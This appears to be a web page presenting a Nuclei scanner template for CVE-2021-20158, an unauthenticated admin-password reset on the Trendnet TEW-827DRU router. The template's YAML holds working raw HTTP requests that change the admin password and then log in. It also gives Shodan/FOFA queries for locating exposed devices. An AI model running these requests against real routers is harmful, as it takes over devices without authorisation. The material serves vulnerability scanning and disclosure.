Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change

ID: CVE-2021-20158

Severity: critical

Author: gy741

Tags: cve2021,cve,disclosure,router,intrusive,tenable,trendnet

Description

Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.

YAML Source

id: CVE-2021-20158

info:
  name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change
  author: gy741
  severity: critical
  description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
  impact: |
    An attacker with authenticated access can gain unauthorized control over the affected device.
  remediation: |
    Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-54
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20150
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20158
    cwe-id: CWE-306
    epss-score: 0.01211
    epss-percentile: 0.8522
    cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: trendnet
    product: tew-827dru_firmware
    shodan-query:
      - http.html:"TEW-827DRU"
      - http.html:"tew-827dru"
    fofa-query: body="tew-827dru"
  tags: cve2021,cve,disclosure,router,intrusive,tenable,trendnet
variables:
  password: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}

        ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}

        html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'setConnectDevice'
          - 'setInternet'
          - 'setWlanSSID'
          - 'TEW-827DRU'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022077752084ecd9119b8f5dd31389b1cea9179566db31051306c9fda2c0201d993102210089829f855ccb831097ee9f06c0097d45e965ecec5646c37a753957d34ac981ce:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-20158.yaml"

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